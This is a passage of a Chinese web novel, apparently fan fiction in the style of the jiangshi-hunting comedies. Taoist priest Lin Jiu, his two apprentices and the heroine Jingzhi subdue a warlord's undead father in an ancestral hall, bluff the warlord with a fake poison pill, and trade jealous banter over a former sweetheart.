林九觉得二人距离实在太近,他赶紧往后仰了仰身子,朝她比了个手势。 静之看到那个手势,眉心一跳,来不及多想,赶紧将手轻轻覆盖在他胃部上,然后缓缓朝里输入灵气。 虽隔着几层衣服,林九也从未跟一女子如此亲密过。 刹那间,他只觉得自己的脸颊犹如火烧般滚烫,心跳急速加快。 他急忙停下脚步,四下打量几眼,见有几个小兵对他俩指指点点,他慌乱中伸出手,覆盖在静之的手指上,欲将其挪开。 “别闹,吃多了芥末,缓不过来的话,可是会出大事的。” 见她脸上的表情是前所未有的严肃,林九一时也怔在原地,掰她手的力道渐渐消失。 随着她的灵力源源不断地注入他体内,林九只觉胃部仿若有一股清泉流淌而过,那股灼热感缓缓消散。 没过多久,他涨得通红的脸色也慢慢恢复正常,只是舌头依然被辣味刺激得发麻。 林九怔怔地望着她紧蹙的眉头,心中忽地涌起一股难以言喻的温暖。 恰在此时,一个念头毫无预兆地浮现于他的脑海: 适才在大帅府,她脸色如此难看,莫非是……她产生了什么误会? 纠结几番后,林九还是想解释清楚,“刚刚我是被呛得流泪的。” 静之瞧了一眼他依旧通红的双眼,收回手,淡淡地说:“我知道。” 他的眼睛被他刚刚情急之下的一通揉搓,竟是连红血丝都飙出来了。 加上他现在欲言又止的表情,看上去更添了几分可怜。 静之莫名有些心虚,毕竟是她不让他乱吃东西的。 她放慢脚步,将手中被她捏得有些变形的老婆饼递过去,“胃部的不适,我能帮你缓解,但舌头的问题……我无能为力,吃点甜的或许能压一压。” 看着那凹下去几道指痕的包装袋,静之面露愧色,“抱歉,我……” 林九没有接过,他此刻舌头麻木,实在没有食欲,“没事,等回去再吃吧。” 静之点头,将饼放入随身携带的包里。 接着拿出水壶,运用灵力将水温降低一些,才递给他,“喝点水吧,喝完含一口在嘴里可能会舒服些。” 林九心中又是一暖,她总是如此细心周到。 此刻,他确实需要喝点水漱口,便没有拒绝,于是接过水拧开盖子喝了几口,又另外喝了一口含在嘴里。 当整个口腔被冰凉的水包裹的瞬间,林九心中又是一震。 她为何如此善良? 他觉得,越与她相处,他好像…越陷越深了…… 静之察觉到他的目光,于是抬起眼眸,想查看他是否还有不适。 林九仿佛害怕被看穿心思,迅速垂下眼皮,避开她的审视。 这一垂眼,便看到了他手中杯子右下角那个熟悉的“静”字。 林九猛然回过神来,这是她专用的水杯。 于是,那口逐渐变温的水“咕咚”一声咽了下去,刚刚恢复正常的脸色,瞬间又涨得通红,“你,我……抱歉,我不知道。” 静之微笑着摇摇头,“无妨,感觉好一些了嘛?” 林九不敢再看她,将水杯交还后,赶忙点头。 实际上,他的舌头此时正隐隐作痛,但再也不敢向她讨水了。 毕竟,他刚上车的时候,就看到她用那个水杯喝过了… 那他们岂不是…… 打住,不能想不能想。 …… 祠堂自古以来便是家族祭祀祖先、商议族内大事的重要场所。 而大多数祠堂都会选择修建在风水绝佳的山峰上,龙家祠堂自然也不会例外。 这会儿,一行人的车队浩浩荡荡地驶出繁华喧嚣的市区,一路向着郊外疾驰而去。 当车辆终于抵达目的地时,展现在众人眼前的是一条蜿蜒曲折的红泥土路,一直延伸到那座被视为风水宝地的山峦脚下。 不巧的是,方才刚下过一场阵雨,使得原本就崎岖不平的路面变得更加泥泞不堪。 到处都是大大小小的水坑,地面又湿又滑,令人举步维艰。 无奈之下,大家只好纷纷下车,准备徒步登山前往龙家祠堂。 走在队伍中的静之,目光始终落在身旁的林九身上。 只见林九时不时地用手捂住腹部,脸色略显苍白,额头上还渗出了一层细密的汗珠。 她心中不禁涌起一阵担忧: “你真的没事?我看你这样子可不太对劲啊。” 难道除了胃部不适之外,他的肚子也开始闹别扭了不成? 面对静之的关心,林九强打起精神,紧紧盯着前方大帅的背影,神情严肃地摇了摇头: “放心,我没事。” 其实他的肚子一阵紊乱,但此时此刻,他决不能承认自己的虚弱。 毕竟在昔日的情敌面前丢面子已经够难堪的了,如果再让静之看到自己这般狼狈模样,那可真是颜面扫地了。 此时的林九,万万没想到,再过一个多时辰,他会丢更大的脸…… 上山之前,看他这样儿,静之莫名觉得,应该去买点纸备着,于是在经过一间杂货铺时,她走了进去…… “喏,吃点山楂丸,甜的解辣,我看你一时半会好不了。” 林九还未说话,嘴巴里便被塞了一颗,手上又被塞了一小包山楂丸。 他下意识舌头一卷,一股酸酸甜甜的味道顿时盈满口腔。 他凝视着走到前头去,将山楂丸分与秋生和文才的静之,眼眸中流露出连他自身都未曾察觉的柔情。 “喂喂喂,刚刚我看师傅吃的明明比较大颗,为什么我的跟文才的才这么点?” 静之口中也含着一颗,她将丸子抵至颊侧,稍稍抬起下巴,向他俩伸出手,“不吃的话就还我!” 秋生拿出一颗,朝空中一抛,然后踮起脚尖,张嘴准确无误地接住,这才嘿嘿一笑,“吃吃吃,有免费的怎么不吃!” 文才挠挠头附和,“谢谢啊。” 静之朝秋生翻了个白眼,“你看看人家,你连句谢谢都没有。” 秋生冲了过去,一怼她的肩头,嗐了一声,“咱俩谁跟谁啊,说什么谢谢,多见外!” 林九今天莫名地看秋生不顺眼。 他疾走两步,用手中的手杖抽了一下秋生的小腿,“干什么!雨后路滑,别推推搡搡的。” …… 就在一行人都走到龙家祠堂门口时,大帅跟了上来,一脸狐疑地看着林九,“喂,豆豉英,你说我家祠堂有问题,是不是真的啊?” 林九微微一笑,并未因大帅对其专业的质疑而心生恼怒。 而是审视了一圈四周的环境,这才成竹在胸地说道: “以这里‘神仙泼水’的格局来说,这条村的人死了之后,一定不能土葬。” 秋生一脸疑惑:“师父,土葬的话会怎么样?” 静之悄悄凑到秋生侧边问:“你整日究竟随你师父学了些什么?” 秋生眼神闪烁不定,支吾两声后,本想着开口为自己辩解几句。 然而,当他的目光与静之那仿佛能够洞穿人心的双眸相遇时,瞬间像是被戳破了所有谎言一般,原本想的几个理由,一下子消散得无影无踪。 秋生耷拉着脑袋,用手捂住嘴巴,压低声音对着静之说: “哎呀,好姐姐,当着这么多人的面儿,好歹也给我留点儿面子吧。你放心,等回去之后,我肯定会好好学!” 正在此时,毫无征兆地,一根坚硬的手杖猛地戳在了秋生的脚背上,甚至还用力碾压了几下。 刹那间,一股钻心的疼痛从脚背传来。 秋生紧紧咬住自己的下唇,用尽全身力气才勉强将那几乎要脱口而出的痛呼声压下去。 紧接着,他以最快的速度向左侧挪动了一大步,与静之拉开了老远的距离。 此刻的秋生满心狐疑,暗自思忖道: 难道师父的后脑勺真的长了一双眼睛不成?怎么连这点小动作都能察觉到啊! 而另一边,林九却表现得若无其事,就好像刚刚什么事情都没有发生过一样。 他缓缓地挪开手杖,继续神态自若地和大帅交谈起来。 林九语气平静地说: “棺材碰到地,全家不吉利……如果我没猜错的话,这里面的棺材摆放方式定然不同寻常。” 大帅闻言,脸上露出一副“果然被你料中了”的尴尬笑容,随即大声呼唤手下: “来人,开门!” 第108章 林九闹肚子 随着两扇朱红色大门打开,一股常人见不到的阴气突然从里头窜了出来。 林九和静之不约而同地皱起了眉头。 首先映入眼帘的,是正堂中间巨大的“龙”字。 然后众人的眼神,才被两侧用铁架吊起来的一个个棺材吸引。 “放得好,全部都被吊起来了。” 林九随口夸了一句,就迈着大步朝里走,他暗暗打量着这几口棺材,想找找那股阴气是从哪儿冒出来的。 就在这时,大堂最里面突然传来静之的呼喊声: “九叔,在这儿呢!” 林九一听,赶紧快步走了过去。 等看到那口松了一边绳子、一头掉在地上的棺材时,他的眉毛都竖了起来,转头就问身后跟过来的大帅: “这里头躺着的是谁?” 大帅:“我老爸。” 林九朝棺材对面的静之招招手,让她过来,然后叹了口气,对大帅说: “已经变成僵尸了。” 大帅将信将疑的,赶忙叫来几个手下,对着斜着的棺材抬了抬下巴,“去!把盖子打开看看。” 这几个下属一听大帅他爸变成僵尸了,心里那叫一个害怕啊。 可是命令都下来了,谁敢不听啊,只好哆哆嗦嗦地凑了过去,一共 6 个人,3 个一边,去推那棺材盖子。 结果这 6 个人脸都憋得通红,使出了吃奶的劲儿,可那盖子就是纹丝不动。 林九好像早就知道会这样,他双手抱在胸前,站在不远处,淡定地说: “棺材被尸气吸住了,大白天打不开的。” 这句话,仿佛是一句特赦,那六个人立马放手,给大帅敬了个礼,“报告大帅,打不开。” 然后纷纷四散开来。 见到这么悬的一幕,大帅信林九信了大半,他走近两步,看着那个棺材说: “喂,话说回来,我的病跟我老爸有什么关系啊?” “令尊的棺材沾到尸气,所以就变成僵尸了,你被他所伤,所以你就中尸毒了。” 就在这时,秋生跟抽风了似的,上前摸索着大帅的棺材,还调皮的吸吸鼻子,仿佛要把那棺材里的尸气吸走似的。 “啪!” 静之一巴掌扇到他头上,“喂,你有毛病啊,还玩!” 她又回头问林九,“那要怎么办呢?” 林九最近是越发看不得她与秋生亲近,于是一把扯过她的袖子往身后藏,深吸一口气,静下心来,才对旁边的大帅建议道: “天黑之后,我们把他引出来,僵尸会先害亲人,所以他会追着你咬,到时候我们趁机抓住他,拔了他的牙,磨成粉给你喝……” 就在林九和大帅交谈的时候,他身后的静之和秋生蹲下身子,研究着地上那条断掉的麻绳。 按理说,这麻绳为了绑棺材,用的都是三指粗细的麻绳,怎么都不会轻易断掉的。 她捡起地上两节散开了花的麻绳,低声对秋生说: “你看这断裂的口子,像不像被刀割的?” 秋生接过一看,只见那麻绳断裂的位置平平整整的,一看就不是自然断裂。 他啊了一声,刚想告诉元帅,静之立马把他嘴捂住。 林九朝头对头的两人看了一眼,眉毛渐渐蹙紧。 “小点声,大帅肯定不会拿他父亲开玩笑,等这事儿完了,咱们再告诉阿九,问问他怎么处理。” 秋生点点头,往自己嘴巴上比了个拉拉链的手势,又嘻嘻一笑。 他耍贱的功夫实在一流,静之忍不住又给了他一巴掌。 于是两个人就在那儿打闹了起来。 林九眉头几乎拧成了个川字,刚想过去阻止,突然肚子一阵绞痛。 人在打闹,心在林九身上的静之,第一时间就发现了。 她停下动作,马上凑了过去,“肚子痛?” 林九尴尬到了极点,他捂着肚子微微点点头,然后迅速别过脸,转头问大帅: “厕所在哪儿?” 静之叹口气,她就知道会这样。 于是从包里掏出手纸递给他。 林九接过手纸,朝大帅说的侧门一路小跑过去。 在他心道,威严和面子全都没了的时候,刚打开门—— 嘭嘭嘭! 几发打在门框上的子弹瞬间将他逼回屋内。 静之怒问大帅:“你什么意思?” 大帅摸了摸两撇油光水滑的胡子,奸笑了几声才说: “我怎么知道豆豉英是不是真的肚子痛啊,没治好我之前,谁都不准走!” 静之:“你!” 静之心想,他跟他弟弟阿威,可真是惯会使以权压人这一招,真是烦死了。 另一头。 林九此时肚子里像是翻江倒海一般闹腾不休。 他瞅准了机会,趁着她与大帅激烈斗嘴之际,迅速拿起一个痰盂,然后一溜烟儿地奔向角落里。 就在他刚刚准备解开裤子,以解燃眉之急的时候,却发现静之已然结束了和大帅之间的唇枪舌战,此刻正一脸担忧地望着自己。 这突如其来的目光交汇让林九瞬间臊红了脸。 一旁的大帅见状,立刻发出了一声长长的“呦呵”,脸上满是幸灾乐祸的表情,嘴里还嚷嚷着:“嘿嘿,这下有好戏看喽!” 听到这话,静之气得直咬牙,她狠狠地瞪了大帅一眼后,便开始四处张望起来。 很快,她的视线落在了不远处的供桌上。 静之快步走上前去,将那张四四方方的桌面拆卸了下来,并迅速递到了林九面前,轻声说道: “别害羞啦,我会躲得远远的。” 说完,她便转身朝着斜对角走去,步伐果断,转眼间就远离了林九所在的位置,给他留出了足够的私人空间。 即便如此,林九的脸色依然如同熟透的苹果一般,毕竟这种情况着实让人尴尬不已。 而且这种事儿,越想憋越憋不住。 只听见一阵噼里啪啦的声响传来,林九终究还是没能忍住,拉起了肚子。 静之立马转过身去,幽幽叹了一口气。 早知道就把灵气也往他小腹处传一点了,这下来不及了。 就在这个当口,身后又传来一阵叽里咕噜的声音。 “坏了,一定是因为刚刚的撒西米!” 是秋生慌乱的声音,期间还夹杂着文才不停的哎呦叫,然后又是一连串噼里啪啦的声音。 不过几秒,整个屋子顿时弥漫出一股臭味,静之立马抽出随身的帕子,掩住口鼻。 这会儿,她不知道那俩货搁哪儿拉呢,头也不敢回,只能快速扬声问道: “你们都中招了?” 文才虚着声音朝西北角的角落里喊:“静之姐,还有没有纸——不行了不行了,又来了!” 静之:“……啧。” 她竖起耳朵,以不时响起的屁声辨别二人方位,又问: “秋生,文才和你在一起吗?” 秋生吃得最多,这会儿正窜得不行,压根没空说话。 林九则是在心上人面前丢了脸,臊得不行,此时脸上泛起一层淡淡的死意,恨不得收拾收拾行李换个星球居住,哪里还敢说话。 文才看向右侧默不作声的两人,苦着脸朝角落里的静之说: “我们两个都跟师父在一起,你把纸丢过来吧,我接……师兄接……”。 话未说完,就看到他的师兄——秋生正疯狂摇头,此刻他蹲在一个瓷瓶上,拉到嘴唇都有些发白。 文才有些慌,于是将眼神投向唯一的救星——林九,不管三七二十一就说: “你丢过来,师父会接住的!” 第109章 师徒做戏&不要你的马蹄 大帅眼睁睁地看着他爸直挺挺的从棺材里立了起来。 不过他爸已经不是他印象里的父亲了,他现在的长相,倒是跟静之刚刚的描述差不多。 脸色发青,四只长牙都已经凸出到嘴巴外了,还有周身那一看就不祥的黑气。 大帅顿时吓得两股颤颤,本就因中尸毒流着冷汗的背,此时更是湿了个彻底。 “放,放开我!” 静之瞅见僵尸站了起来,哪还顾得上什么男女大防。 她麻溜地把帕子往脑后一系,“嗖”的一下就冲到了林九面前立起来的那块方桌前。 林九他们仨一看她这架势,吓得肚子都不闹腾了,手忙脚乱地收拾干净,哆哆嗦嗦地把裤子穿好。 林九两只手死死抓着桌面,和秋生、文才一起挪到了干净的地方,这才得空朝大帅喊了一嗓子: “僵尸会吸人气的,憋住气啊!” 大帅一听,赶忙闭紧嘴巴。 这边三个人也赶忙憋住气,就静之没憋。 她可是跟任发交过手,知道自己憋气也没啥用。 所以趁着二十来米外的僵尸还没追过来,她伸手在桌面侧边一按,一个侧翻就到了林九身边,然后一把搂住他的腰,脚一蹬旁边的柱子,“噌”的一下就跃上了对面的房梁。 那僵尸估计是吸了点大帅的血,动作还挺快,没一会儿就到了房梁底下。 还好他还没进化成飞僵,这会儿只能在下面蹦跶,利爪一伸一伸的,意图去够在空中晃悠的四只脚丫子。 正憋气的秋生文才,大大松了口气,又忍不住为他们师父和静之担忧。 好在,这祠堂大的很,房梁也挺高。 那僵尸蹦了几下,见抓不到他们两个,便动着他那生锈的脑仁,不停地嗅着鼻子,开始四处搜寻起了猎物。 这一切发生在须臾之间。 静之趁林九专注看下头僵尸的动静时,一把将手摁到他小腹上,开始为他治疗。 “你——” 他惊恐回头看着静之,一手条件反射地去掰她的手。 下一秒,他的嘴就被静之捂住,她迅速凑到他耳边,用气声说: “事情从急,僵尸还需要你解决呢。” 林九知道她说的没错,犹豫了两秒,便放开了她的手。 只不过小腹的肌肉绷得紧紧的,被她凑近的那只耳朵也红得滴血。 随着一股暖流从肚脐周边往里涌入,林九紧绷的小腹渐渐放松,刚才揪痛不止的感觉渐渐消失。 就在这时,林九突然感觉靠近她那边的耳垂,被轻柔的戳了一下。 他猛的一回头,就看到她来不及收回的食指和她讪讪的笑容。 林九压下眼睫,抿着嘴,没好气地瞪了她一眼。 就在静之觉得林九害羞的样子,可爱到极点的时候,她对面的秋生和文才,不知是谁,突然放了个大臭屁。 这突如其来的响动,把已经走到大帅附近的僵尸又引了回来。 大帅一看,天助我也呀! 只见他笑得浑身乱颤,屁股像装了个电动马达一样不停地扭动着,脸上更是乐开了花。 还仰起头对着房梁上的静之和林九露出一副贱兮兮的表情,嘴巴咧得几乎能看到后槽牙。 这副模样让原本就憋着一肚子火的静之再也按捺不住心中的怒气,手迅速伸进随身携带的包包里摸索起来。 很快,她便从包中掏出了一根由文才刚刚送给她的弹弓,紧接着又拿出了在上山前购买的山楂丸,将其稳稳地放在弹弓的皮套上。 随着她用力一拉皮筋再松手,只听得“咻”的一声尖锐破空声响起,那颗山楂丸如同一颗出膛的子弹一般,直直地朝着大帅飞去。 说时迟那时快,那山楂丸竟然分毫不差地击中了大帅的脑门。 这家伙也不知道是不是真的如此贪生怕死,尽管脑门上已经被打得发红,但他居然还是强忍着疼痛没有发出一丝声响。 就在她咬牙切齿的时候,一只手突然伸到了她的面前,两指间还夹着一颗大号的山楂丸。 是……她给林九买的那种。 嘿,阿九真是……有仇当场就报了! 她喜欢!! 静之乐滋滋地接过那颗大丸子,然后在大帅惊恐的眼神中,“上膛”——“瞄准”——“发射”!! “啊!” 大帅只觉得脑门一阵剧痛,这回实在憋不住了,惨叫出声。 “嗬——” 他这一泄气,大帅便发现了他的好大儿,当即便蹦着僵直的双腿,朝大帅那头赶去。 林九只是想教训教训他,这会儿赶紧拉开静之欲给他再次治疗的手,急声交代: “你呆在这别下去。” 边说着,他又朝对面喊,“你们两个好了没?” 秋生和文才此时肚子都被拉空了,皆有气无力的应他,“师父,好了~” 林九应声跳下房梁,他像只轻巧的猫儿一样,落地无声。 见他身手依旧利落,静之却还是忍不住担忧,毕竟她刚刚只给他传了一点灵力而已,“你行不行啊?” 行不行? 这句话,对一个男人来说,特别是一个中年男人,简直就是禁词。 林九悠悠地看了她一眼,随即朝秋生文才呼喝一声,“人桥搭路!” 这两人与师父早就抓过多次僵尸,三人早已默契满满。 静之还没明白他那个眼神跟他那句话是什么意思的时候,秋生和文才一左一右,半跪在地,四手交叉握紧。 林九急速跑了两步,然后脚下一蹬他俩搭出的“人桥”,就朝廊道尽头扭打在一起的一人一尸飞了过去。 另一头。 大帅死死把住他爹大张着的嘴巴,身子不住往后仰,仿佛这样就能将自己脆弱的脖颈隐藏起来,不让他爹有可乘之机。 就在这千钧一发之际,只见一道黑影如流星般从天而降,不偏不倚,稳稳地坐在了僵尸的双肩上。 大帅见状,急忙松开双手,踉跄着向后退了好几步,直到确认安全距离后,那颗一直悬在嗓子眼儿的心才缓缓落回原位。 就在这时,突闻头顶上方闪过一句小声哔哔,“真是的,我看还是不行嘛……” 林九死死把着僵尸的头往后掰,此时他心里万分尴尬。 刚才那奋力一踩,究竟是谁脚下发软了啊? 按照原本的计划,他本应一脚将这僵尸给直接踹飞出去的! 就在这时,秋生有些心虚地把绳子往上头的静之手上一扔,“接着!” 静之看林九的二弟就要遭殃,心中一紧,赶紧双脚夹住房梁,倒吊着身子接住麻绳两头,迅速往下一抛,准确无误地勒住僵尸脖颈。 见林九“翻身下马”,她紧紧把住绳子,往地面纵身一跃,利用自身重量,把僵尸往上吊去。 哪曾想,她对自己的体重估算失误。 她不仅没落地,一人一尸还在半空中来了个背靠背拥抱。 僵尸乐了。 还有这种好事?! 一想到能让他实力大增的香香就在他背后,他疯狂别过脸去,欲咬一口静之的脖颈,悬在半空的双脚也不停地扑腾着。 他这一扑腾,静之的身子也跟着左摇右晃起来。 眼看着她就要被咬到了,林九扯开嗓子大喊:“跳下来!” “秋生文才准备!” “是!” 随着静之两手一放,她轻巧落地,她的身后倒是同时传来一声闷响。 僵尸毫不意外地,一起落地了。 不过,还没等僵尸转过身去找他的香香,秋生和文才就已经一人抓住他的一条胳膊,使劲儿往后掰。 秋生和文才刚刚才拉完肚子,现在更是虚弱得很,随着僵尸的挣扎,他俩也跟着僵尸不停地左右移动着。 林九一咬牙,一个翻身跳到僵尸身后,紧紧抱住他的双肩,“静之,快点儿,拔掉他的牙!” 看着这三个人那苍白的脸色,她就知道事情很紧急,赶忙从自己的布口袋里找工具。 “没有镊子!” 她也没想到自己还要干牙医的活儿,包里除了吃的、纸巾和一些日常必需品,其他啥都没有。 文才哭丧着脸,赶紧喊道:“我包里有根矬子,用那根!” “哦哦!” 她赶紧跑过去,一把抽出那根长长的矬子一横,就开始咯吱咯吱地给僵尸磨牙。 “哎呀,别乱动!” 这三个人估计拉得有点虚脱了,现在除了能制住僵尸,可真是没力气按住他让他别动了。 静之一跺脚,转头朝着杵在旁边像根柱子似的大帅喊: “快过来接住,你傻愣着干啥呢!” 随着四个人不停地移动,那磨下来的细碎牙粉撒得满地都是。 大帅怕死得要命,竟然直接伸出舌头去舔地上那一小撮一小撮白色的牙粉。 可惜,这四个人移动得太厉害了,那些牙粉早就随着他们的动作,被扬得四处都是。 静之:“啊,没牙了!” 仿佛听到了特赦,秋生和文才松开了早就酸软到不行的胳膊,任那僵尸逃窜到大帅身后。 那僵尸仿佛知道咬一口眼前的好大儿,就能让他“重振雄风”,于是不停地拿牙龈啃着大帅的脖子。 啃了半天,除了给大帅糊上一脖子腥臭的口水,硬是没破一点皮。 林九:“静之,把手杖拿来,让我毁了他!” 静之立马跑到墙边,将他的黑色手杖拿来。 这时,大帅却不干了,“不行,他可是我亲爸爸!” 就在静之暗自感慨:小人也有真感情的时候。 下一秒,大帅接下来的话立马推翻了她的想法。 大帅嚷嚷道:“他没了,我怎么办啊,我会不会变僵尸啊?” 得,人家的第一想法还是保自己。 她忍不住指了指大帅身后的僵尸,“别以为没牙他就没办法杀了你,他的爪子可更厉害,一爪子就能插死你!” 话音刚落,大帅瞬间一个闪身,躲到一边去。 林九趁机拿过他的手杖一扭,抽出隐藏其中的桃木棍。 只见那棍子尾端被削得尖尖的,随着林九大力一掷,那棍子直接穿透僵尸心口。 秋生和文才趁机掏出随身携带的糯米,朝僵尸扬了过去。 阴阳相触,相生相克,一瞬间火花四溅。 只听得一阵噼里啪啦响,僵尸顿时停止挣扎,直挺挺地朝后倒了下去。 他们露这一手,把大帅直接震在原地。 他没想到豆豉英跟这几个徒弟,竟然都是有真本事的人。 但是他的病没治好,牙又没了,大帅顿感人生无望。 一路返程皆阴沉着脸。 …… 刚一回大帅府,大帅就忍不住了。 “来人,把他们拉出去枪毙!” “你这个人怎么回事!” 林九一把拉住暴怒的静之往身后藏了藏,面色十分淡定地朝大帅说: “别着急,我听说广西腾腾镇有僵尸出现,只要你放了我们,我们就去寻牙回来给你治病。” 大帅垂眸思索了一会儿, 朝林九和静之扬了扬下巴说:“你们两个去,让他俩留下。” 他邪邪一笑,豆豉英这个人心眼多的很,万一他跑了,他可是没地方找人去。 再说了,广西那地儿可是其他军阀的地盘,他的手可伸不到那儿去。 怕林九不答应似的,他俯下身子,掏出腰间别的枪,朝秋生和文才比了比说: “三天之内,他俩要是回不来的话,你们就死!” 就在这时,静之在林九身后默默写了几个字。 林九被她轻柔的动作,划拉得浑身僵硬的同时,也辨认出了她写的两个字——“女人。” 林九顿时想起米其莲身边那个带着一身鬼气的女人,他的脸色肉眼可见的沉了下来。 大帅还以为他怕了,从鼻间哼哼笑了几声,等待着他们的决定。 林九转过身,暗暗朝两个徒弟打了个手势。 秋生文才心领神会。 秋生一副恨不得林九赶紧去的样子,边吐槽他师父的罪行,边不着痕迹打量大帅的脸色: “师父,你尽管去吧,我们两个死又有何足惜,反正我们两个吃饭,永远也是吃你的剩饭!” 文才这回脑瓜子倒是也机灵了,他跟着埋怨一句:“洗澡用你的剩水!” 秋生看大帅嘴边的笑容越咧越大,于是加大火力输出: “我们两个死了,只不过是死了两条狗!” 文才附和:“什么狗,连狗都不如啊,跟跳蚤差不多!” 文才心想,这样贬一贬自己在林九心目中的地位,那大帅应该就不会放心让林九出去了吧…… 毕竟,刚刚他师父的手势,是“交换”的意思。 没想到,大帅人品不行,心眼倒是蛮多的。 这会儿,他皱着眉头,手指不紧不慢地敲着椅子的扶手,半信半疑看着他们四人。 就在这时,静之站了出来,她手上拿了四颗白色丸子。 “呐,这里四颗药,咱们一人一颗,吃掉吧。” 她幽幽地看了四人一眼,率先拿起一粒塞进嘴里。 林九三人毫不犹豫,各拿了一颗吃了下去。 秋生舌头一绕,“这什么啊?甜甜的。” 静之笑眯眯地告诉他: “这是我自己配的毒药,是最阴最毒的化骨断魂散,三天之内没有解药的话,就会毒发身亡!” 秋生和文才吓得脸色煞白,当下一个捂嘴,一个抠嗓子眼儿,就连林九都铁青着脸看着她。 大帅:“是不是真的啊?” 静之慢悠悠地走过去,一手靠着他的椅背,另外一手,两指夹着同样的一颗白色丸子伸到他嘴边,“要不……您尝尝是不是真的?” 大帅一副“你要毒死我”的表情,身子紧紧贴着椅背,避开那颗药,有些气急败坏地朝门口的卫兵说: “搜她身,看有没有解药!” “是!” 静之高举双手,任他们搜着。 就在这时,一卫兵从她包里搜出了一个一小包粉末状的东西,递给大帅,“报告大帅,是有包解药。” 大帅接过解药,揣到自己兜里。 见林九的把柄被自己抓住了,他坏笑着朝林九扬扬手,“你去吧。” 静之一脸开心,朝秋生和文才二人做了个鬼脸说:“我们走喽。” 就在这时,秋生唉声叹气地说: “师父就好了,逃出生天,咱们两个就留在这里毒发身亡吧。” 文才咵嚓一声,直接坐到地上,“是啊,反正三天后,他要是不回来,不仅我们要死,大帅……你也要尸毒发作变僵尸了,那滋味我体验过,又痒又舒服的,你可千万别怕啊。” 秋生见大帅摸了摸脖子,一脸后怕,他双手一拍,恍然大悟道: “对啊,这样的话,他就可以光明正大地击杀你这只僵尸了。” 边说着,他还往大帅的心口戳了戳。 大帅一把拍下他的手,脑子里却不由自主想起不久前林九击杀他爸的那一幕,于是死死捂住自己的心口。 秋生嘿嘿一笑,“到时候,我师父哪里管得了我们的死活,他就可以光明正大的接收这一切,包括他以前失去的人……” 话未尽,大帅立马就想到他好不容易从豆豉英手里抢到的亲亲老婆,于是赶紧扬手把朝外走的林九和静之唤了回来,“你们两个留在这里,他们两个去!” 就在这时,林九还顺势拱一把火,他拍了拍秋生的肩膀说:“我知道就算你们找不到僵尸,也会回来救我们的。” 秋生转头问文才:“你会不会?” 文才有些迷茫地挠了挠头:“你呢?” 秋生哈哈一声,“当然不会!” 说罢,就朝外头快步走去。 林九在后头怒骂:“臭小子!” 见二人都走了,且师徒好似离了心,大帅这回爽了。 他哈哈大笑,并怼了怼林九的肩膀说:“看来,你收的徒弟,也不怎么样嘛。” 林九狠狠地剜了他一眼,脸色阴沉。 林九越不爽,大帅就越开心。 他“龙心大悦”,当即一拍手,叫卫兵带着二人去后院住下,还一人安排了两个小兵在他们房门前站岗。 说是站岗,其实就是监视。 大帅知道他们都服了毒,既是瓮中之鳖,他倒是没有阻止二人相见。 于是静之大咧咧拿着那盒老婆饼,来到了林九房间。 林九倒是神速,他可能是觉得昨晚拉了一宿,身上有些味道,这会儿倒是清洁完毕,终于脱下了他那身燕尾服,换上了他的白褂子。 静之一进门,就立刻把两扇门板合上。 刚把饼放桌上,想跟林九商量商量那女人的事儿,门外就传来一阵敲门声。 她警惕地站起身子,背部贴着墙问:“谁?” 林九也跟着站起身子,一脸戒备。 他心中暗忖:难道刚刚没骗过大帅? “是我啊,念英。” 静之和林九互相对视了一眼后,不约而同地长舒了一口气。 林九缓缓坐下,朝静之一扬手,示意开门。 静之微微颔首,刚打开门,便发现走廊的尽头,那米其莲就坐在对面房间,脸上带着还来不及收回的笑容。 静之的眉头不禁渐渐地皱了起来,她迅速将自己的视线从米其莲身上收回来,重新聚焦到眼前站着的念英脸上,“什么事?” 念英举了举手中叠得高高,削得整整齐齐的马蹄,笑着说: “我姐姐特地削的马蹄,给正英师父吃的。” 听到这话,静之下意识地转过头去看了一眼身后的林九。 却见他僵在座位上没有了动作,她暗哼了一声,才转过头来面对念英。 脸上挤出一丝勉强的笑容,同时伸出手轻轻地将那碟子马蹄往回推了推,并且故意抬高声音说道: “马蹄性寒,我……爹拉了一宿肚子,吃不了这个,你端回去吧!” 她的余光瞄到对面的米其莲震惊的脸色,不由暗暗一笑。 这女人怀着孕呢,还吃着碗里的,看着锅里的,未免太过分了。 念英同样震惊不已,她瞪大了眼睛看看静之,再看看林九,“你,你爹?” 静之走了过去,将手搭在林九肩膀上,“怎么,难道不像吗?” 念英嘴里那句“一点都不像”实在说不出口,只能讪笑一下,又好奇地问: “正英师父什么时候结婚了,我怎么不知道?” 静之坐了下来,幽幽看了对面一眼,又提高音量说: “你又没问……我娘出远门了,叫我要看好我爹,她临走前可是交代过我了,叫我别让我爹给不相干的女人勾搭走,不然啊,她回去可是会打断我的腿。” 对面的米其莲见林九没反驳,脸色顿时阴沉了下来。 师兄结婚居然没有告诉她,未免太不够意思了。 而且,看对面那小子的脸,“他”应当已经成年了。 所以英哥这是在她嫁人后,就直接娶妻了吗? 果然,天下的乌鸦一般黑。 男人也是! 米其莲脸臭得不行,瞪了静之一眼,立马将念英唤了回去。 她生气了,静之倒是开心了。 她掩住门扇,隔绝了林九朝外看的视线,还伸出头,调皮地朝对面吐了吐舌头。 米其莲气得不行,嘭的一声把门大力关上。 静之无所谓地摇摇头,也把门闭紧。 哼!她才生气呢! 第110章 这饼,一点都不甜。 “还看!你是不是很想吃?” 静之一脸不悦地看着林九,细细的眉毛拧得都快打结了。 “……没有。” 静之一跺脚,“你犹豫了!” 林九莫名有些慌,他站起来,一脸严肃地说: “我真不想吃。” 静之凝视着他的眼睛,看了好一会儿,才发现他说的是真的。 她面色稍缓,脚一勾桌子底下的圆凳,坐了下来,小声哔哔,“这还差不多。” 林九俯下身子小声问:“刚刚你看清莲妹身边那个女人没有?” 静之脸色又是一黑,“她已经结婚了,你再叫她莲妹是不是不太合适?” 每次他一说莲妹这两个字,她的心口就是一阵酸痛。 静之垂下眼睫,默默把老婆饼往自己的方向拢了拢。 他让她生气了,才不想给他吃。 林九看着她的发旋,紧了紧手,好险没一把握住她捏紧的拳头安慰。 两人此刻都知道正事要紧,于是各自压了压心里头异样的情绪,几乎是同时开口。 “我……” “你……” “你先说。” *2 林九非常有绅士风度的一并手,示意一下静之,“你说吧。” 静之深呼吸一口气,“看到了,她身上有婴灵的气息,不过不像之前缠着我的那几个小鬼,那股气,很……暴虐。” 林九一脸凝重地点了点头,“我也看出来了,她身上鬼气很浓,双眉之间黑气萦绕,若不是被鬼缠,便是死劫将至。” “……你怕她影响到米其莲?” 林九一噎,有些无奈地叹了口气,“……先别说她了。” 静之闷闷不乐地低下头,“为什么不说,你明明就放不下她。” 林九突然开口:“静之,她已嫁人……” 